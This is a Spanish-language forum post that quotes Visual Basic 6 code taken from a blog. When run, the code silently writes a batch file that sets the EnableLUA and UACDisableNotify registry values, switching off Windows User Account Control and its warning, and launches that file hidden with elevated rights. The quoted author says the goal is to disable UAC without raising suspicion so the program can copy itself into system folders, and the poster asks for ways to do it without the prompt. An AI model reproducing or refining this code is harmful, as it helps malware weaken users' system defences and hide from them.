En un blog encontre el siguiente codigo:
Option Explicit
Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long
Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long
Private Type SHELLEXECUTEINFOA
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type
Const SW_NORMAL = 1
Const SW_HIDE = 0
Private Sub Form_Load()
On Error Resume Next
Dim strPath As String
Dim strBatCode As String
strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
"Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"
Write2File Environ$("TEMP") & "\temp.bat", strBatCode
strPath = Environ$("TEMP") & "\temp.bat"
If Elevate(strPath) Then
MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
Else
MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
End If
End
End Sub
Private Function Elevate(strPath As String) As Boolean
Dim ExInfo As SHELLEXECUTEINFOA
Dim lnRet As Long
With ExInfo
.cbSize = Len(ExInfo)
.fMask = 0&
.hwnd = hwnd
.lpVerb = "runas"
.lpFile = strPath
.lpParameters = vbNullChar
.lpDirectory = vbNullChar
.nShow = SW_HIDE
End With
On Error Resume Next
lnRet = ShellExecuteEx(ExInfo)
If lnRet <> 1 Then
Elevate = False
Exit Function
End If
Elevate = True
End Function
Private Sub Write2File(Filename As String, Buffer As String)
On Error Resume Next
Dim hFile As Long
Dim hWrite As Long
hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
If hFile <> 0 Then
hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
End If
CloseHandle (hFile)
End Sub
Que desactiva el UAC
aqui escribo un poco de la descripcion que puso el autor:
by Mono Gramatical at/on 18:29
in
Bueno, estuve probando con algunas claves del registro del Windows Vista, y me parecio interesante dos valores EnableLUA y UACDisableNotify, la primera deshabilita la UAC y la segunda hace que no se muestre la notificación de seguridad que advierte que la UAC ha sido deshabilitada. el inconveniente con esto es que solo se pueden agregar estos valores al registro con privilegios administrativos, es por eso que opte por utilizar la API ShellExecuteEx que combinada con el verbo "Runas" hace que una determinada aplicación solicite y corra con privilegios. para ello primero creo un bat que escribe en el registro y lo ejecuto con privilegios si se acepta la uac queda deshabilitada y de esta forma puedo copiarme a las carpetas del sistema y modificar las claves que activada la UAC no podriamos modificar.
Nos es algo muy bueno pero se puede deshabilitar la UAC sin levantar sospechas
El problema es que al ejecutar el Bat SALTA el control de usuarios y volvemos al principio, :/
Alguien sabe algo respecto a como desactivar el UAC con VB?
Mostrar Mensajes
